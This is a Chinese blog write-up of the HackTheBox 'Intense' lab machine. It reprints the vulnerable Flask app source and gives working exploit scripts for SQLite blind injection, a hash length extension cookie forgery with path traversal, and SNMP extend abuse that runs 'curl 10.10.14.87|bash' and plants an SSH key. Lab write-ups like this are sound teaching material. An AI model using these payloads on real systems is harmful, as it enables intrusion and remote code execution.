抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

纠结了好久要不要写这篇wp.最后还是打算把流程过一遍吧。首先这台靶机没料到的是开开心心做到root部分发现是个pwn一脸懵逼。想自己上手最后发现还是tcl,只好去请教朋友。所幸最后还是打成了。因此pwn部分我不做解释,主要把前面getshell流程写一遍。

initial foothold

第一部分先是nmap扫描,发现只开了22,80端口。那就直接从web下手。

访问到页面后发现更加直接了。题目给了我们关键信息说网站是开源的,下载src.zip直接得app源码。那就愉快的审计了。

主体代码
app.py

from flask import Flask, request, render_template, g, redirect, url_for,\
    make_response
from utils import get_db, get_session, get_user, try_login, query_db, badword_in_str
from admin import admin
import sqlite3
import lwt


app = Flask(__name__)

app.register_blueprint(admin)


@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()


@app.route('/submit', methods=["GET"])
def submit():
    session = get_session(request)
    if session:
        user = get_user(session["username"], session["secret"])
        return render_template("submit.html", page="submit", user=user)
    return render_template("submit.html", page="submit")


@app.route("/submitmessage", methods=["POST"])
def submitmessage():
    message = request.form.get("message", '')
    if len(message) > 140:
        return "message too long"
    if badword_in_str(message):
        return "forbidden word in message"
    # insert new message in DB
    try:
        query_db("insert into messages values ('%s')" %message)
    except sqlite3.Error as e:
        return str(e)
    return "OK"


@app.route("/login", methods=["GET"])
def login():
    return render_template("login.html", page="login")


@app.route("/postlogin", methods=["POST"])
def postlogin():
    # return user's info if exists
    data = try_login(request.form)
    if data:
        resp = make_response("OK")
        # create new cookie session to authenticate user
        session = lwt.create_session(data)
        print(session)
        cookie = lwt.create_cookie(session)
        resp.set_cookie("auth", cookie)
        return resp
    return "Login failed"


@app.route("/logout")
def logout():
    resp = make_response("<script>document.location.href='/';</script>")
    resp.set_cookie("auth", "", expires=0)
    return resp


@app.route("/")
@app.route("/home")
def index():
    session = get_session(request)
    if session and "username" in session:
        user = get_user(session["username"], session["secret"])
        print(user)
        return render_template("home.html", page="home", user=user)
    return render_template("home.html", page="home")


if __name__ == "__main__":
    app.run('0.0.0.0',5000)

admin.py

from flask import Blueprint, render_template, request, redirect, abort
from utils import is_admin, admin_view_log, admin_list_log

admin = Blueprint('admin', __name__)


@admin.route("/admin")
def admin_home():
    if not is_admin(request):
        abort(403)
    return render_template("admin.html")


@admin.route("/admin/log/view", methods=["POST"])
def view_log():
    if not is_admin(request):
        abort(403)
    logfile = request.form.get("logfile")
    if logfile:
        logcontent = admin_view_log(logfile)
        return logcontent
    return ''


@admin.route("/admin/log/dir", methods=["POST"])
def list_log():
    if not is_admin(request):
        abort(403)
    logdir = request.form.get("logdir")
    if logdir:
        logdir = admin_list_log(logdir)
        return str(logdir)
    return ''

lwt.py

from hashlib import sha256
from base64 import b64decode, b64encode
from random import randrange
import os

SECRET = os.urandom(randrange(8, 15))


class InvalidSignature(Exception):
    pass


def sign(msg):
    """ Sign message with secret key """
    return sha256(SECRET + msg).digest()


def verif_signature(data, sig):
    """ Verify if the supplied signature is valid """
    return sign(data) == sig


def parse_session(cookie):
    """ Parse cookie and return dict
        @cookie: "key1=value1;key2=value2"

        return {"key1":"value1","key2":"value2"}
    """
    b64_data, b64_sig = cookie.split('.')
    data = b64decode(b64_data)
    sig = b64decode(b64_sig)
    if not verif_signature(data, sig):
        raise InvalidSignature
    info = {}
    for group in data.split(b';'):
        try:
            if not group:
                continue
            key, val = group.split(b'=')
            info[key.decode()] = val
        except Exception:
            continue
    return info


def create_session(data):
    """ Create session based on dict
        @data: {"key1":"value1","key2":"value2"}

        return "key1=value1;key2=value2;"
    """
    session = ""
    for k, v in data.items():
        session += f"{k}={v};"
    return session.encode()


def create_cookie(session):
    cookie_sig = sign(session)
    print(cookie_sig)
    return b64encode(session) + b'.' + b64encode(cookie_sig)

utils.py

import lwt
import sqlite3
from hashlib import sha256
from flask import g
from os import listdir, path
import datetime


DATABASE = "database.db"


class User:
    def __str__(self):
        return "User(username=%s,role=%d)" % (self.username,self.role)


def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    return db


def log_login(user):
    now = datetime.datetime.now()
    d = now.strftime("%Y-%m-%d")
    with open(f"logs/{d}.log", 'a') as log:
        log.write(str(user) + ' logged\n')


def badword_in_str(data):
    data = data.lower()
    badwords = ["rand", "system", "exec", "date"]
    for badword in badwords:
        if badword in data:
            return True
    return False


def hash_password(password):
    """ Hash password with a secure hashing function """
    return sha256(password.encode()).hexdigest()


def query_db(query, args=(), one=False):
    cur = get_db().execute(query, args)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv


def get_user(username, secret):
    """ Returns User object if given username/secret exist in DB """
    username = username.decode()
    secret = secret.decode()
    res = query_db("select role from users where username = ? and secret = ?", (username, secret), one=True)
    if res:
        user = User()
        user.username = username
        user.role = res[0]
        log_login(user)
        return user
    return None

def try_login(form):
    """ Try to login with the submitted user info """
    if not form:
        return None
    username = form["username"]
    password = hash_password(form["password"])
    result = query_db("select count(*) from users where username = ? and secret = ?", (username, password), one=True)
    if result and result[0]:
        return {"username": username, "secret":password}
    return None


def get_session(request):
    """ Get user session and parse it """
    if not request.cookies:
        return 
    if "auth" not in request.cookies:
        return
    cookie = request.cookies.get("auth")
    try:
        info = lwt.parse_session(cookie)
    except lwt.InvalidSignature:
        return {"status": -1, "msg": "Invalid signature"}
    return info


def is_admin(request):
    session = get_session(request)
    if not session:
        return None
    if "username" not in session or "secret" not in session:
        return None
    user = get_user(session["username"], session["secret"])
    return user.role == 1


#### Logs functions ####
def admin_view_log(filename):
    if not path.exists(f"logs/{filename}"):
        return f"Can't find {filename}"
    with open(f"logs/{filename}") as out:
        return out.read()


def admin_list_log(logdir):
    if not path.exists(f"logs/{logdir}"):
        return f"Can't find {logdir}"
    return listdir(logdir)

这个flask源码整体实现了sqlite的数据库查询。库中有admin账户。通过cookie来判断admin.并且admin有读文件跟列目录的功能。

首先从utils.py看起。这里的函数关于sqlite执行部分均做了占位符查询,所以不存在注入问题。def badword_in_str(data)做了关键字的筛选。我们去到调用函数的地方,很容易就发现处理的位置/submitmessage存在insert into 型的sql注入。

注意源码中这里注入的地方返回值是两种:”OK”或者报错。很快就能反应过来是sqlite盲注,并且是使用报错函数来区分布尔值。

关于sqlite的盲注,普通的布尔盲注与sql注入没什么区别。但是在sql时间盲注的情形下就需要另外处理。因为sqlite没有延时函数,所以想要区分只能利用报错。(这点在st98大佬出的sqlite_voting,前阵子asis的adminpanel中都出现过) 常用的报错函数之RANDOMBLOB()不可用的话,还可以用abs,json等函数。

这里用abs函数简单构造一个demo

insert into messages values('1') union select abs(-9223372036854775808);
=>
1') union select abs(case when (1=1) then (-9223372036854775808) else 0 end) -- 

有个小细节需要注意。不知道是不是insert into语句的问题,如果我们利用abs(-9223372036854775808)这个整体来构造布尔值的话。当语句中出现select会一直报错。而如果我们利用-9223372036854775808来作为真值的话则不会出现这个问题。

综上,上面这部分很快就能编写exp.本地跑的话,先写个sql

因为题目源码中很明确的出现了几个列名,所以可以快速编写并创建本地的db.
远程跑

import requests
import string

URL ="http://10.10.10.195"
flag = ""
for i in range(1, 65):
    a=0
    for j in string.printable:
        print("\r" + flag, flush=False, end='')
        payload = "a') union select abs(case when (substr((select password from users limit 0,1)," + str(i) + ",1)='" + j + "') then(-9223372036854775808) else 0 end )--"
        data = {'message': payload}
        r = requests.post(URL + 'submitmessage', data=data)
        if 'overflow' in r.text:
            a=1
            flag += j
            print("\r" + flag, flush=True, end='')
            break
    if a==0:
        break
print("\r")
return flag

得到hash
f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105

拿到hash后尝试解时果然没有得到明文。看来另有玄机。注意到 lwt.py中一个很显眼的部分

SECRET = os.urandom(randrange(8, 15))

def sign(msg):
    """ Sign message with secret key """
    return sha256(SECRET + msg).digest()

这里作为盐值的SECRET处于hash算法sha256的前端。这说明是存在hash扩展攻击的。我们仔细看下其调用位置。

def parse_session(cookie):
    """ Parse cookie and return dict
        @cookie: "key1=value1;key2=value2"

        return {"key1":"value1","key2":"value2"}
    """
    b64_data, b64_sig = cookie.split('.')
    data = b64decode(b64_data)
    sig = b64decode(b64_sig)
    if not verif_signature(data, sig):
        raise InvalidSignature
    info = {}
    for group in data.split(b';'):
        try:
            if not group:
                continue
            key, val = group.split(b'=')
            info[key.decode()] = val
        except Exception:
            continue
    return info    

这里可以发现。它取cookie中由.分割开的两部分分别作为data与sign.其中data是username=guest;secret=SHA256{guest}的base64数据。从这里的取键值返回info的函数很快就能发现存在变量覆盖。比如我们在原始数据后添加username=admin;secret=xxx就能覆盖原先cookie中username与secret的值。而这正是hash长度扩展攻击能做到的:在原有数据上添加新的数据。

那么回过头来看下它是如何判断admin的。发现果然是从cookie中取admin与secret与数据库中的username与secret进行比较。返回其role值。为1即admin.

那么接下来就是hash长度扩展攻击了,由于SECRET长度有范围,所以需要小范围尝试一下。并且使用hashpumpy添加数据;username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;之所以还要加个分号是因为我们的长度扩展攻击会在原始数据后添加\x00之类的数据。而parse_session函数是按分号识别键,值的。需要另加一个分号避免后面的username键名带上前面的数据。

因为要做到列目录,读文件,肯定得重复调用。于是打算尝试下写完整的利用脚本来模拟命令行模式,总归是写出来了。虽然我觉得效果一般般,但毕竟是第一次写比较完整的利用,心里还是比较舒适的233.

因为sql注入部分本地只要10s不到。远程要10分钟多。所以特意加了default选项可以直接使用现成的用户名跟hash.

python3 exp.py default
#!/usr/bin/python3
import requests
import string
from hashpumpy import hashpump
from base64 import b64decode, b64encode
from cmd import Cmd
import sys
import warnings

warnings.filterwarnings('ignore')

URL='http://10.10.10.195/'


guest_cred=""
admin_cookie={}

class terminal(Cmd):
    #prompt = "[*] => "
    prompt='\033[1;31;40m[*]\033[0m'+' => '+'\033[0;34;40m /var/www/html/app> \033[0m'
    print("[*] prompting a shell(current directory /var/www/html/app)")
    def default(self, line):
        command=line.split(' ')
        try:
            print(admin_command(command[0],command[1]))
        except:
            pass

def get_admin_name():
    print("[*] getting admin username:")
    flag = ""
    for i in range(1, 10):
        a=0
        for j in string.printable:
            print("\r" + flag, flush=False, end='')
            payload = "a') union select abs(case when (substr((select username from users limit 0,1)," + str(i) + ",1)='" + j + "') then(-9223372036854775808) else 0 end )--"
            data = {'message': payload}
            r = requests.post(URL + 'submitmessage', data=data)
            if 'overflow' in r.text:
                a=1
                flag += j
                print("\r" + flag, flush=True, end='')
                break
        if a==0:
            break
    print("\r")
    return flag

def get_admin_hash():
    print("[*] getting admin hash:"+"\r")
    flag = ""
    for i in range(1, 64 + 1):
        a=0
        for j in string.printable:
            print("\r" + flag, flush=False, end='')
            payload = "a') union select abs(case when (substr((select secret from users limit 0,1)," + str(i) + ",1)='" + j + "') then(-9223372036854775808) else 0 end )--"
            data = {'message': payload}
            r = requests.post(URL + 'submitmessage', data=data)
            if 'overflow' in r.text:
                a=1
                flag += j
                print("\r" + flag, flush=True, end='')
                break
        if a==0:
            break
    print("\r")
    return flag

def guest_login():
    print("[*] login with guest:guest"+"\r")
    global guest_cred
    users={'username':"guest","password":"guest"}
    r=requests.post(URL+'postlogin',data=users)
    old_data,old_sig=r.cookies['auth'].split('.')
    guest_cred=b64decode(old_data).decode()
    return b64decode(old_sig).hex()

def crafting_payload():
    if DEFAULT!=True:          
        #from scratch
        admin_name=get_admin_name()
        admin_hash=get_admin_hash()
    else:
        #default
        admin_name="admin"
        admin_hash="f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105"
    old_sig = guest_login()
    old_data=guest_cred
    payload=';'+(";".join(["username="+admin_name,"secret="+admin_hash]))+";"
    new_sig=""
    for length in range(8,15):
        res = hashpump(old_sig, old_data, payload,length)
        cookie=(b64encode(res[1])+b'.'+b64encode(bytes.fromhex(res[0]))).decode()
        if admin_login(cookie):
            print('[*] testing length '+str(length)+" : ")
            print('[*] admin_cookie: '+ cookie)
            return cookie
    return "[*] Failes getting proper cookie."

def admin_login(cookie):
    cookies={"auth":cookie}
    r=requests.get(URL+'admin',cookies=cookies)
    if r.status_code==403:
        return False
    else:
        return True

def admin_command(option,command):
    if option not in ['dir','view']:
        return "Only dir/view supported."
    elif option=='dir':
        r=requests.post(URL+'admin/log/dir',data={'logdir':command},cookies=admin_cookie)
        return r.text
    else:
        r = requests.post(URL + 'admin/log/view', data={'logfile': '../'+command},cookies=admin_cookie)
        return r.text

if __name__=='__main__':
    if len(sys.argv)==2:
        if sys.argv[1]=='default':
            print("[*] use default username + password")
            DEFAULT=True
        else:
            exit("[*] specify default flag")
    else:
        DEFAULT=False
    admin_cookie['auth']=crafting_payload()
    terminal().cmdloop()

效果如图:

大致功能:跑起来就能得到admin跟hash;爆破出admin的cookie;支持假命令行dirview命令分别用来列目录跟读文件。

这样就能很快在/home/user下找到user.txt读取了。

小结下。这一部分我觉得难度一般。拿到CTF中倒是挺合适的。不过我觉得这个hash长度扩展以及前面注入时踩的不能用完整的abs()的坑算是给自己一些提醒。

privesc to shell

接下来这一部分有点玄妙。显然我们现在已经能读文件跟列目录了。但是却没有一个shell.而在user的目录下直接给了一个c的源码提示我们

// gcc -Wall -pie -fPIE -fstack-protector-all -D_FORTIFY_SOURCE=2 -Wl,-z,now -Wl,-z,relro note_server.c -o note_server

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFER_SIZE 1024

void handle_client(int sock) {
    char note[BUFFER_SIZE];
    uint16_t index = 0;
    uint8_t cmd;
    // copy var
    uint8_t buf_size;
    uint16_t offset;
    uint8_t copy_size;

    while (1) {

        // get command ID
        if (read(sock, &cmd, 1) != 1) {
            exit(1);
        }

        switch(cmd) {
            // write note
            case 1:
                if (read(sock, &buf_size, 1) != 1) {
                    exit(1);
                }

                // prevent user to write over the buffer
                if (index + buf_size > BUFFER_SIZE) {
                    exit(1);
                }

                // write note
                if (read(sock, &note[index], buf_size) != buf_size) {
                    exit(1);
                }

                index += buf_size;


            break;

            // copy part of note to the end of the note
            case 2:
                // get offset from user want to copy
                if (read(sock, &offset, 2) != 2) {
                    exit(1);
                }

                // sanity check: offset must be > 0 and < index
                if (offset < 0 || offset > index) {
                    exit(1);
                }

                // get the size of the buffer we want to copy
                if (read(sock, &copy_size, 1) != 1) {
                    exit(1);
                }

                // prevent user to write over the buffer's note
                if (index > BUFFER_SIZE) {
                    exit(1);
                }

                // copy part of the buffer to the end 
                memcpy(&note[index], &note[offset], copy_size);

                index += copy_size;
            break;

            // show note
            case 3:
                write(sock, note, index);
            return;

        }
    }


}



int main( int argc, char *argv[] ) {
    int sockfd, newsockfd, portno;
    unsigned int clilen;
    struct sockaddr_in serv_addr, cli_addr;
    int pid;

    /* ignore SIGCHLD, prevent zombies */
    struct sigaction sigchld_action = {
        .sa_handler = SIG_DFL,
        .sa_flags = SA_NOCLDWAIT
    };
    sigaction(SIGCHLD, &sigchld_action, NULL);

    /* First call to socket() function */
    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    if (sockfd < 0) {
        perror("ERROR opening socket");
        exit(1);
    }
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0)
        perror("setsockopt(SO_REUSEADDR) failed");

    /* Initialize socket structure */ 
    bzero((char *) &serv_addr, sizeof(serv_addr));
    portno = 5001;

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    serv_addr.sin_port = htons(portno);

    /* Now bind the host address using bind() call.*/
    if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
        perror("ERROR on binding");
        exit(1);
    }

    listen(sockfd,5);
    clilen = sizeof(cli_addr);

    while (1) {
        newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);

        if (newsockfd < 0) {
            perror("ERROR on accept");
            exit(1);
        }

        /* Create child process */
        pid = fork();

        if (pid < 0) {
            perror("ERROR on fork");
            exit(1);
        }

        if (pid == 0) {
            /* This is the client process */
            close(sockfd);
            handle_client(newsockfd);
            exit(0);
        }
        else {
            close(newsockfd);
        }

    } /* end of while */
}

这下我是真懵了。因为看起来就是个pwn题。但比pwn更重要的是,源码中可以看出来它跑在127.0.0.1 5001上。那么我们外网是访问不到的。这里似乎需要一个shell来访问。

于是继续进行信息收集。首先读了下/proc/net/tcp

/proc/net/tcp
sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 27909 1 0000000000000000 100 0 0 10 0                     
   1: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 24101 1 0000000000000000 100 0 0 10 0                     
   2: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28936 1 0000000000000000 100 0 0 10 0                     
   3: 0100007F:1389 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25962 1 0000000000000000 100 0 0 10 0                     
   4: C30A0A0A:0050 570E0A0A:B5EE 01 00000000:00000000 00:00000000 00000000    33        0 328478 1 0000000000000000 138 4 30 10 7              

这里1389对应的是5001的16进制。并且其uid是0。这说明是root运行,正好符合我们的要求。

接着突然发现一个/etc/snmp/snmpd.conf

agentAddress  udp:161

view   systemonly  included   .1.3.6.1.2.1.1
view   systemonly  included   .1.3.6.1.2.1.25.1


 rocommunity public  default    -V systemonly
 rwcommunity SuP3RPrivCom90

###############################################################################
#
#  SYSTEM INFORMATION
#

#  Note that setting these values here, results in the corresponding MIB objects being 'read-only'
#  See snmpd.conf(5) for more details
sysLocation    Sitting on the Dock of the Bay
sysContact     Me <user@intense.htb>
                                                 # Application + End-to-End layers
sysServices    72


#
#  Process Monitoring
#
                               # At least one  'mountd' process
proc  mountd
                               # No more than 4 'ntalkd' processes - 0 is OK
proc  ntalkd    4
                               # At least one 'sendmail' process, but no more than 10
proc  sendmail 10 1

#
#  Disk Monitoring
#
                               # 10MBs required on root disk, 5% free on /var, 10% free on all other disks
disk       /     10000
disk       /var  5%
includeAllDisks  10%


#
#  System Load
#
                               # Unacceptable 1-, 5-, and 15-minute load averages
load   12 10 5


###############################################################################
#
#  ACTIVE MONITORING
#

                                    #   send SNMPv1  traps
 trapsink     localhost public


#
#  Event MIB - automatically generate alerts
#
                                   # Remember to activate the 'createUser' lines above
iquerySecName   internalUser
rouser          internalUser
                                   # generate traps on UCD error conditions
defaultMonitors          yes
                                   # generate traps on linkUp/Down
linkUpDownNotifications  yes

#
#  Arbitrary extension commands
#
 extend    test1   /bin/echo  Hello, world!
 extend-sh test2   echo Hello, world! ; echo Hi there ; exit 35

 master          agentx

看到这个udp我就估计不妙,自己探测端口时肯定又忘记扫udp了。而且从这个snmp.conf中可以看到一个关键组SuP3RPrivCom90属于rwcommunity有着读写权限。于是我去搜索了下snmp相关漏洞,发现真的可以达成getshell

先nmap扫下确认

# Nmap 7.80 scan initiated Sun Jul 19 11:05:42 2020 as: nmap -sU -sC -oA nmap/intense-udp 10.10.10.195
Nmap scan report for 10.10.10.195
Host is up (0.43s latency).
Not shown: 999 closed ports
PORT    STATE SERVICE
161/udp open  snmp
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: f20383648c26d05d00000000
|   snmpEngineBoots: 603
|_  snmpEngineTime: 10h34m03s
| snmp-sysdescr: Linux intense 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64
|_  System uptime: 10h34m3.40s (3804340 timeticks)

# Nmap done at Sun Jul 19 11:26:16 2020 -- 1 IP address (1 host up) scanned in 1234.34 seconds

果然配置不是localhost:161的话我们是可以外网直接访问的。接下来就是根据网上的文章进行了解了。
https://digi.ninja/blog/snmp_to_shell.php
需要注意的是。要是出现了跟文章中一开始一样的报错,需要按照这篇 文章进行相关下载。我的kali默认也是会报错的,需要下载额外的依赖并修改配置。

成功运行snmpwalk -v2c -c SuP3RPrivCom90 10.10.10.195 nsExtendOutput1的话是这样的

从文章中了解到,如果直接修改conf文件,是可以利用extend 这一部分可执行命令的特点来进行恶意命令的插入。那么我们现在在远程,还有方法可以直接修改或者插入名令吗?当然是可以的。我很快找到了这篇文章。
https://mogwailabs.de/blog/2019/10/abusing-linux-snmp-for-rce/

稍微调用下nsExtendObjects。会发现它会把extend里的命令都执行一回。

root@byc404:~# snmpwalk -v2c -c SuP3RPrivCom90 10.10.10.195 nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 6
NET-SNMP-EXTEND-MIB::nsExtendCommand."test" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendCommand."test1" = STRING: /bin/echo
NET-SNMP-EXTEND-MIB::nsExtendCommand."test2" = STRING: echo

这里test本来不应该存在的。应该是其他人创建了这个变量。而它是/bin/.bash调用的。所以我直接拿来修改值

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195   'nsExtendArgs."test"' = '-c "curl 10.10.14.87|bash"'

snmpwalk -v2c -c SuP3RPrivCom90 10.10.10.195 nsExtendObjects

getshell

这里我第一次试成功了,后来因为pwn不会就退出了。等第二天再尝试同样的方法getshell却发现总是返回timeout。换了vpn后不返回timeout却执行不了curl命令了……怀疑是curl的timeout有5s左右达到了snmptimeout的上限,所以执行不了curl.于是换了一个思路。我们总归是要通过访问靶机的5001来pwn到root的。那直接写ssh公钥然后端口转发也可以。

索性写个sh

#!/bin/bash

ssh-keygen -f ./intense -q -N ""
key=$(cat intense.pub)
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 \
    "nsExtendStatus.\"test\""  = createAndGo \
    "nsExtendCommand.\"test\"" = /bin/bash \
    "nsExtendArgs.\"test\""    = "-c \"echo ${key} >> ~/.ssh/authorized_keys\""
snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 nsExtendObjects
ssh -N -L 5001:127.0.0.1:5001 Debian-snmp@10.10.10.195 -i intense

这样整体执行起来不会因为连续的timeout导致手敲太多代码。

privesc to root

因为不会所以拜托别人了。一个保护全开的栈溢出。涉及到一些socket知识。具体就参考jaubert的记录了

https://jaubert.gitee.io/crackme/

远程打通

summary

整体上前面我觉得不算难。snmap算是新知识。挺有意思的。pwn的部分直接自闭。看来以后也要开始学下cry跟pwn了……

评论